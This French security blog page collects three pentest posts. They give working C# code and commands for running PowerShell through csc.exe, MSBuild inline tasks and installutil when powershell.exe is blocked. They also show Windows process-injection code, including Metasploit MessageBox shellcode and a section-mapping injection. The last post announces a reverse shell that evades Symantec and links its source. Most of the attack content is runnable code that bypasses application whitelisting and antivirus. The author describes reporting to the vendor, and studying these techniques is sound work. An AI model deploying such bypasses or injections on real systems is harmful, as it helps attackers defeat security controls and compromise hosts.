Exécuter du powershell sans powershell ?!?

Lors d’un audit ou un pentest il peut vous arriver de tomber sur une configuration Windows où l’exécutable powershell.exe est blacklisté ou bien supprimé du système.

Dans ce cas, peut-on quand même exécuter des scripts écrit en powershell ? La réponse est oui.

Il se trouve que le framework .Net, très largement présent, fournit des moyens simples pour appeler des scripts powershell depuis la librairie System.Management.Automation.

En .Net 4, cett DLL se trouve à cet endroit :

C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll

En plus, comme pour nous aider, Microsoft fournit avec le framework .Net tout ce qu’il faut pour compiler des programmes. On trouve le compilateur pour le language C# à cet endroit :

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe

Première technique, on recrée un exécutable capable de lire et d’exécuter des scripts Powershell.

Rien de bien compliquer, le programme suivant powerless.cs fait exactement cela :

using System.Collections.ObjectModel; 
using System.Management.Automation; 
using System.Management.Automation.Runspaces; 
using System.IO;
using System;
using System.Text;
namespace PSLess
{
  class PSLess
  {
    static void Main(string[] args)
    {
      if(args.Length ==0)
          Environment.Exit(1);
      string script=LoadScript(args[0]);
      string s=RunScript(script);
      Console.WriteLine(s);
      Console.ReadKey();
    }
  private static string LoadScript(string filename) 
  { 
    string buffer ="";
    try {
     buffer = File.ReadAllText(filename);
     }
    catch (Exception e) 
    { 
      Console.WriteLine(e.Message);
      Environment.Exit(2);
     }
   return buffer;
  }
  private static string RunScript(string script) 
  { 
     Runspace MyRunspace = RunspaceFactory.CreateRunspace();
     MyRunspace.Open();
     Pipeline MyPipeline = MyRunspace.CreatePipeline(); 
     MyPipeline.Commands.AddScript(script);
     MyPipeline.Commands.Add("Out-String");
     Collection<PSObject> outputs = MyPipeline.Invoke();
     MyRunspace.Close();
    StringBuilder sb = new StringBuilder(); 
    foreach (PSObject pobject in outputs) 
    { 
        sb.AppendLine(pobject.ToString()); 
    }
     return sb.ToString(); 
   }
  }
 }

Pour compiler ce programme il faut utiliser csc.exe en lançant la commande suivante :

csc.exe /reference:C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\system.management.automation.dll /out:C:\powerless.exe C:\powerless.cs

En sortie nous avons donc maintenant un nouvel exécutable, powerless.exe, capable de lancer des scripts powershell, testons-le.

Un petit script test.ps1 :

echo "Hello from powershell-less"
echo "PID: $pid"

Et voila, il n’y a plus qu’à lancer l’exécution :

Yes ça fonctionne !

Autre technique, on utilise des exécutables présent dans le système, si possible signés par Microsoft, pour lancer les scripts Powershell.

Commençons par une astuce qui consiste à abuser de l’exécutable msbuild (l’équivalent du make Linux pour Windows). On trouve msbuild.exe à cet endroit :

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\msbuild.exe

Msbuild prend en entrée des projets ayant pour extension .csproj pour les programmes C#.

Ces projets ne sont en fait que des fichiers XML décrivant une liste de tâches à effectuer. Là où cela devient vraiment intéressant c’est que Microsoft autorise le lancement de scripts à l’intérieur même du projet ! Quoi de mieux que pour en profiter pour y insérer le fameux powerless écrit en C# vu précédemment.Voici un exemple de projet test.csproj incluant un interpréteur Powershell complet :

<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
  <Target Name="Hello">
   <FragmentExample />
   <ClassExample />
  </Target>
  <UsingTask
    TaskName="FragmentExample"
    TaskFactory="CodeTaskFactory"
    AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >
    <ParameterGroup/>
    <Task>
      <Using Namespace="System" />
      <Using Namespace="System.IO" />
      <Code Type="Fragment" Language="cs">
        <![CDATA[
                Console.WriteLine("Hello From Fragment");
        ]]>
      </Code>
    </Task>
    </UsingTask>
    <UsingTask
    TaskName="ClassExample"
    TaskFactory="CodeTaskFactory"
    AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >
    <Task>
      <Reference Include="System.Management.Automation" />
      <Code Type="Class" Language="cs">
        <![CDATA[
            using System;
            using System.IO;
            using System.Diagnostics;
            using System.Reflection;
            using System.Runtime.InteropServices;
            //Add For PowerShell Invocation
            using System.Collections.ObjectModel;
            using System.Management.Automation;
            using System.Management.Automation.Runspaces;
            using System.Text;
            using Microsoft.Build.Framework;
            using Microsoft.Build.Utilities;
                            
            public class ClassExample :  Task, ITask
            {
                public override bool Execute()
                {                    
                    while(true)
                    {       
                        Console.Write("PS >");
                        string x = Console.ReadLine();
                        try
                        {
                            Console.WriteLine(RunPSCommand(x));
                        }
                        catch (Exception e)
                        {
                            Console.WriteLine(e.Message);
                        }
                    }
                    
                    return true;
                }
                
                //Based on Jared Atkinson's And Justin Warner's Work
                public static string RunPSCommand(string cmd)
                {
                    //Init stuff
                    Runspace runspace = RunspaceFactory.CreateRunspace();
                    runspace.Open();
                    RunspaceInvoke scriptInvoker = new RunspaceInvoke(runspace);
                    Pipeline pipeline = runspace.CreatePipeline();
                    //Add commands
                    pipeline.Commands.AddScript(cmd);
                    //Prep PS for string output and invoke
                    pipeline.Commands.Add("Out-String");
                    Collection<PSObject> results = pipeline.Invoke();
                    runspace.Close();
                    //Convert records to strings
                    StringBuilder stringBuilder = new StringBuilder();
                    foreach (PSObject obj in results)
                    {
                        stringBuilder.Append(obj);
                    }
                    return stringBuilder.ToString().Trim();
                }
                 
                public static void RunPSFile(string script)
                {
                    PowerShell ps = PowerShell.Create();
                    ps.AddScript(script).Invoke();
                }   
            }
        ]]>
      </Code>
    </Task>
  </UsingTask>
</Project>

Il n’y a plus qu’à lancer msbuild.exe en passant en paramètre le projet que nous venons de créer :

msbuild test.csproj

Nous voilà dans un interpréteur Powershell fait maison !

Même technique mais avec un autre exécutable de Microsoft, cette fois avec le programme installutil.exe.

Ce programme sert habituellement à enregistrer / désenregister des services .Net d’un programme. L’astuce consiste à écrire un programme qui implémente la méthode Uninstall de façon à être appelé par le programme installutil.exe.

Reprenons le programme powerless.cs vu au tout début et ajoutons lui simplement la méthode Uninstall dans laquelle nous appelons l’interpréteur powershell maison. Le code du programe powerlesstxt.cs est le suivant :

using System.Collections.ObjectModel;
using System.Management.Automation;
using System.Management.Automation.Runspaces;
using System.Runtime.InteropServices;
using System.IO;
using System;
using System.Text;
using System.Configuration.Install;
namespace PSLess
{
 [System.ComponentModel.RunInstaller(true)]
 public class InstallUtil : System.Configuration.Install.Installer
 {
   public override void Uninstall(System.Collections.IDictionary savedState)
   {
       string[] args= {this.Context.Parameters["ScriptName"]};
       PSLess.Main(args);
    }
  }
 
class PSLess
 {
   public static void Main(string[] args)
   {
     if (args.Length == 0)
       Environment.Exit(1);
     string script = LoadScript(args[0]);
     string s = RunScript(script);
     Console.WriteLine(s);
   }
  private static string LoadScript(string filename)
  {
    string buffer = "";
    try
    {
     buffer = File.ReadAllText(filename);
    }
    catch (Exception e)
    {
      Console.WriteLine(e.Message);
      Environment.Exit(2);
    }
    return buffer;
  }
  private static string RunScript(string script)
  {
    Runspace MyRunspace = RunspaceFactory.CreateRunspace();
    MyRunspace.Open();
    Pipeline MyPipeline = MyRunspace.CreatePipeline();
    MyPipeline.Commands.AddScript(script);
    MyPipeline.Commands.Add("Out-String");
    Collection<PSObject> outputs = MyPipeline.Invoke();
    MyRunspace.Close();
    StringBuilder sb = new StringBuilder();
    foreach (PSObject pobject in outputs)
    {
     sb.AppendLine(pobject.ToString());
    }
    return sb.ToString();
  }
 }
}

Il faut maintenant compiler ce programme C# avec cscs.exe, avec en prime un changement d’extension pour faire croire qu’il s’agit d’un fichier texte, en sortie nous avons le fichier powerless.txt :

csc.exe /reference:C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\system.management.automation.dll /out:C:\powerless.txt C:\powerlesstxt.cs

Reste à appeler installutil.exe avec les bons paramètres et le tour est joué, le script de test est bien exécuté !

installutil  /logfile= /LogToConsole=false /ScriptName=C:\test.ps1 /U powerless.txt

Revue des techniques d’injection de code sous Windows

L’injection de code n’est pas un sujet nouveau mais cela reste intéressant car :

  • il n’y a pas une seule mais de multiples techniques d’injection de code
  • ces techniques sont toujours utilisées dans de nombreux malwares
  • je me suis aperçu que pas mal de gens en sécurité ne connaissent pas bien ce sujet.

Alors qu’est-ce que l’injection de code et à quoi ça sert ?

L’injection de code mémoire consiste à insérer un programme dans un processus Windows en cours d’exécution.

Mais pourquoi faire ?

Comme tout malware qui se respecte le but est de rester discret donc utiliser un programme déjà en mémoire c’est royal.
En effet imaginons qu’un outil de type « application whitelisting » sur un poste de travail n’autorise qu’une liste bien précise de processus à sortir sur Internet. L’injection de code dans un processus autorisé va justement permettre de passer cette barrière infranchissable.

Par ailleurs une fois l’injection de code réussie, il est possible de détourner les appels systèmes réalisés par le processus infecté. C’est de cette façon que font par exemple certains malwares pour intercepter discrètement les requêtes web (même en HTTPS).
Bref vous l’avez compris, l’injection de code pour un malware c’est top 🙁

Comment est-ce possible ?

C’est là le drame, Windows ne filtre pas nativement les accès fait aux différents processus, ce qui permet l’allocation d’une zone mémoire dans le processus cible par le processus attaquant.
Alors certes la plupart des solutions anti-malwares détectent ces techniques d’injection de bases mais pas toutes.

Alors commençons par la base.

La technique la plus connue est certainement celle employant le trio d’appels système Windows suivant :

VirtualAllocEx / WriteProcessMemory / CreateRemoteThread

Qu’est-ce que ce charabia ?

Cette technique repose sur le fait qu’il est possible d’allouer de la mémoire (VirtualAllocEx), d’écrire dans un processus (WriteProcessMemory) et d’y exécuter un thread (CreateRemoteThread).

Plusieurs façons de procéder :

1) Injection d’une DLL 

Dans ce cas on n’injecte pas du code directement mais le chemin d’une DLL malveillante que l’on exécute.

Au niveau programmation, cela se présente de la forme suivante :

LPCSTR DllPath = "Ici se trouve le chemin vers la DLL à exécuter";
int PID = pid_processus_cible // Ici on inscrit le numéro du processus cible
// On ouvre le processus cible
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, PID);
// On alloue de la mémoire dans le processus cible.
// La taille demandée correspond à la longueur de la chaîne de caractères du chemin complet de la DLL augmenté de 1 pour le caractère fin de chaîne.
LPVOID pDllPath = VirtualAllocEx(hProcess, 0, strlen(DllPath) + 1,
MEM_COMMIT, PAGE_READWRITE);
// On écrit le chemin de la DLL dans le processus cible
WriteProcessMemory(hProcess, pDllPath, (LPVOID)DllPath,
strlen(DllPath) + 1, 0);
// On y est. 
// On crée un thread dans le process cible avec comme adresse mémoire celle de la DLL à faire exécuter par la fonction LoadLibray et le tour est joué
HANDLE hLoadThread = CreateRemoteThread(hProcess, 0, 0,
(LPTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandleA("Kernel32.dll"),
"LoadLibraryA"), pDllPath, 0, 0);

Ci-joint un screenshot montrant l’injection d’une DLL affichant un message « Hello from testlib » dans le programme Notepad++ :

https://github.com/kahlon81/Process-Injection-DLL

2) Injection d’un programme complet (code assembleur)

Dans ce cas on injecte vraiment du code sous la forme de code assembleur.

Au niveau programmation, cela se présente de la façon suivante :

On met le code à injecter dans une chaîne de caractères contenant les opcodes en hexadécimal du code assembleur. Par exemple, ci-dessous on a le code assembleur d’un MessageBox issu de l’outil Metasploit :

// Metasploit Messagebox 
char shellcode[] = "\xd9\xeb\x9b\xd9\x74\x24\xf4\x31\xd2\xb2\x77\x31\xc9\x64\x8b\x71\x30\x8b\x76\x0c\x8b\x76\x1c\x8b\x46\x08\x8b\x7e\x20\x8b\x36\x38\x4f\x18\x75\xf3\x59\x01\xd1\xff\xe1\x60\x8b\x6c\x24\x24\x8b\x45\x3c\x8b\x54\x28\x78\x01\xea\x8b\x4a\x18\x8b\x5a\x20\x01\xeb\xe3\x34\x49\x8b\x34\x8b\x01\xee\x31\xff\x31\xc0\xfc\xac\x84\xc0\x74\x07\xc1\xcf\x0d\x01\xc7\xeb\xf4\x3b\x7c\x24\x28\x75\xe1\x8b\x5a\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5a\x1c\x01\xeb\x8b\x04\x8b\x01\xe8\x89\x44\x24\x1c\x61\xc3\xb2\x08\x29\xd4\x89\xe5\x89\xc2\x68\x8e\x4e\x0e\xec\x52\xe8\x9f\xff\xff\xff\x89\x45\x04\xbb\x7e\xd8\xe2\x73\x87\x1c\x24\x52\xe8\x8e\xff\xff\xff\x89\x45\x08\x68\x6c\x6c\x20\x41\x68\x33\x32\x2e\x64\x68\x75\x73\x65\x72\x30\xdb\x88\x5c\x24\x0a\x89\xe6\x56\xff\x55\x04\x89\xc2\x50\xbb\xa8\xa2\x4d\xbc\x87\x1c\x24\x52\xe8\x5f\xff\xff\xff\x68\x6f\x78\x58\x20\x68\x61\x67\x65\x42\x68\x4d\x65\x73\x73\x31\xdb\x88\x5c\x24\x0a\x89\xe3\x68\x58\x20\x20\x20\x68\x4d\x53\x46\x21\x68\x72\x6f\x6d\x20\x68\x6f\x2c\x20\x66\x68\x48\x65\x6c\x6c\x31\xc9\x88\x4c\x24\x10\x89\xe1\x31\xd2\x52\x53\x51\x52\xff\xd0\x31\xc0\x50\xff\x55\x08";
// On ouvre le processus cible
proc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, 7356);
// On alloue de la mémoire dans le processus cible, la taille allouée correspond à la taille du code injecté
shell = VirtualAllocEx(proc, NULL, sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE)
// On écrit le code dans le processus cible
WriteProcessMemory(proc, shell, shellcode, sizeof(shellcode), &total);
// On exécute le code
s = CreateRemoteThread(proc, NULL, 0, (LPTHREAD_START_ROUTINE)shell, NULL, 0, 0)

Ci-joint un screenshot montrant l’injection de ce code dans Notepad++, celui-ci affichant un message « Hello, from MSF » :

https://github.com/kahlon81/Process-Injection-ASM

3) Technique dite « Reflective DLL »

Les deux techniques précédentes utilisent un appel à la fonction WriteProcessMemory, ce qui est facile à tracer par les outils anti-malwares, par conséquent ces techniques d’injection ne sont plus trop utilisées.
Une autre technique a vu le jour il y a quelques temps (utilisée par exemple par le botnet Andromeda) est justement de ne plus faire appel à la fonction WriteProcessMemory . L’idée est de créer une « section » (un programme Windows est composé de plusieurs sections) et de mapper cette section dans l’espace mémoire du processus courant et dans celui du processus cible. Ce n’est pas sans difficulté car on ne connait pas à l’avance à quelle adresse mémoire sera positionnée la nouvelle section, il sera donc nécessaire de « reloger » (déplacer) le code, ce qui veut dire recalculer les sauts d’adresses écrits en absolus. Bref, c’est plus compliqué mais ça fonctionne bien et surtout plus besoin du WriteProcessMemory !

Au niveau programmation, prenons l’exemple de la calculatrice Windows dans laquelle nous voulons injecter le code suivant :

MessageBoxA(NULL, "Code injection demo.", "hacktarus.fr", MB_ICONINFORMATION);

L’intégralité du code d’injection est un peu trop long à publier alors je me limite aux principaux appels :

// On suspend le processus cible (la calculette dans notre exemple)
CreateProcessW(NULL, ImagePath, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &StartupInfo, &ProcessInfo)
// On crée la section
NtCreateSection(&SectionHandle, SECTION_MAP_EXECUTE | SECTION_MAP_READ | SECTION_MAP_WRITE, NULL, &SectionMaxSize, PAGE_EXECUTE_READWRITE, SEC_COMMIT, NULL);
// On map la section dans le processus cible
NtMapViewOfSection(SectionHandle, ProcessHandle, &RemoteAddress, NULL, NULL, NULL, &ViewSize, 2, NULL, PAGE_EXECUTE_READWRITE);
// La section cible est un miroir de notre section locale. 
// Toute modification dans la section locale affectera automatiquement la section cible
memcpy(LocalAddress, (LPVOID)OurBaseAddress, NtHeaders->OptionalHeader.SizeOfImage);
// On reloge le code à l'adresse RemoteAddress
RelocatePE((PBYTE)LocalAddress, RemoteAddress);
// On remet le processus à l'état normal (il était suspendu)
ResumeThread(ProcessInfo.hThread)

Ci-joint une capture écran de l’injection de code d’un MessageBox dans la calculatrice Windows :

https://github.com/kahlon81/Process-Injection-Reflective-DLL

Voila vous avez maintenant les bases de l’injection de code dans les processus Windows. Vous retrouverez sous peu sur mon Github l’ensemble des codes sources des exemples.

Pour ceux qui veulent aller plus loin, sachez que les auteurs de malwares ne manquent pas d’imagination pour échapper aux anti-malwares comme par exemple écrire octet par octet le code à injecter plutôt que d’envoyer un buffer complet ou bien ne pas envoyer des opcodes assembleur Intel mais envoyer un bytecode propriétaire (un nouveau langage en somme)…

Programmation d’un reverse shell qui passe à travers Symantec (Windows 10)

Dans la foulée de mon précédent post sur le contournement de Windows Defender, j’ai voulu testé un antivirus disposant de protections plus avancées.

J’ai donc choisi la dernière version de Symantec qui intègre des fonctions de détections réseaux (pare-feu et détection d’intrusions), d’un module heuristique et surtout d’un module d’analyse comportemental appelé SONAR.

Après quelques essais infructueux, j’ai finalement trouvé un moyen assez simple de programmer un reverse shell qui n’est détecté par aucun des modules de protection de Symantec…

Ci-joint une vidéo de démonstration :

NB : Symantec est alerté et j’attends leur retour avant de publier le code source.

Mise à jour du 23/10/2018, Symantec m’a répondu :

Thank you again for contacting us with this information.

Our teams have reviewed this and it appears it is a simple missed detection. The Symantec Threat Intel team has created a detection signature for this issue which should now be live that should mitigate the problem and ensure detection by our software.

We appreciate you taking the time to provide us with this information. If you have any questions or would like to submit any additional information for review, feel free to email us at secure@symantec.com.

Thanks and kind regards,

Le code source est maintenant disponible sur mon Github, https://github.com/kahlon81/ReverseShell-Bypass-Symantec